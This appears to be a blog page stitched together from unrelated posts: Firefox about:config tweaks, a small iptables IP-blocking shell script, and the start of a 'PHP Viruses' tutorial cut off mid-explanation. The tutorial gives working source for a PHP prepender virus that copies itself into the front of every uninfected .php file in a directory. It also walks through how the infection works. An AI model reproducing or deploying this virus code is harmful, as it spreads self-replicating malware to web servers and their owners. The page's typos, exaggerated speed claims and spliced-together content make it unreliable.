how to speed up firefox

This tutorial will tell you a few tips to tweak Firefox and make it run even faster! First off you need to type in the address about:config and hit go.

You Will be confronted with a warning. Hit the button that says that you will be careful.

Now in the filter box type in network.http.pipelining and double click it until it ssa true

Do the same for network.http.pipelining.maxrequests

Now change network.http.proxy.pipelining to true

Next change network.dns.disableIPv6 to true

Now create a new integer by right clicking and going to new->integer

Name this integer nglayout.initialpaint.delay

Set its value to 0

This should make your firefox 3-30 time faster!

How to quickly block an IP address

If you are looking for a way to quickly and easily block an IP from connecting to your server using the IPtables firewall then just use this script.

First off you need to make yourself root. Then you type in:

vi /usr/local/bin/blockip

Then just paste in this code:

#!/bin/sh

if [ "$1" != "" ]; then

/sbin/iptables -I INPUT -s $1 -j DROP

else

echo “Type an IP”

echo “Usage:”

echo ” Blockip <ipaddress>”

echo “”

fi

After you get that done you need to make the file executable, so just run this command:

chmod u+x /usr/local/bin/blockip

Now all you need to do to block an ip is type in the command like this (remember to change the IP to the one that you want to block) :

blcokip 20.2.2.20

That’s all there is to it! If you encounter any problems with this script please let me know, but I tested it and it should work.

PHP Viruses

WARNING: THIS IS FOR EDUCATIONAL PURPOSES ONLY! I AM NOT RESPONSIBLE FOR HOW YOU USE THIS INFORMATION!!!!!
0) Intro Words
PHP, abbreviate: ‘Hypertext Preprocessor’, is a very common script language for the world-wide-web. You’re possible to do nearly everthing internet related with that language. That means, you’re also able to make viruses for it. The first virus for PHP, PHP.Pirus by MaskBits/VXI, was done in October 2000, and was released in 29A#5. It was no real virus, moreover a companion. It writes to every PHP-file in the current directory a line, which let the victim run the virus. But the host doesn’t contain the virus. After searching something about PHP viruses I found out that there is no high-tech PHP virus so far out, because all the virus I could find are rips of PHP.Pirus (useing the same prinzip). That was my inspiration in writing such an article. I wanted to make something totally new, and I guess I had success. I tested every source with PHP 4.3.3, and everthing worked fine. Now go on reading this and learn something about PHP viruses!

1) File Infection
That’s maybe the most important thing, when you want to make a PHP virus, therefor I want to explain you, how you can infect files with PHP. It should be no problme to understand the examples, because I tried it to make as simple as possible. When the article was written (autumn 2003), there was no real file infector out there. The only interesting PHP virus so far is MaskBits’ PHP.Pirus, which don’t infect files, but use the command ‘include’ that the virus is executed in every PHP file in the current dir. You may think ‘Why does he tell me this?”. I don’t know, just for fun . Now let me explain you how to infect files.

a) Prepending
A prepender copies it’s code infront of the victim’s code, therefor it will be executed before the victim. That’s the main idea of this kind of infection. But there are some other important things you have to note: To get the virus out of the file, you need any information about where the virus is. In my example the virus uses the first 391 bytes. Next important thing is, that you must not infect a file two times. What do to against that? Check, if the file if already infected. In the following example the virus searchs in the first 13 bytes (in an infected file it’s this code: ‘
PHP Prepender Virus Example
$string=fread(fopen(__FILE__,’r'), 391);
$curdir=opendir(‘.’);
while ($file = readdir($curdir))
{
if (strstr($file, ‘.php’))
{
$victim=fopen($file, ‘r+’);
if (!strstr(fread($victim, 13), ‘SPTH’))
{
rewind($victim);
fwrite($victim, $string.fread($victim, filesize($file));
}
fclose($victim);
}
}
closedir($curdir);
?>

As this is a real easy virus, you should understand it quickly while looking at it. Now i’m going to give you the most important things the example does:

Reading the first 391 bytes (which is exactly the virus size)
Searchs for every .PHP file in the current directory
If not infected, reading the victim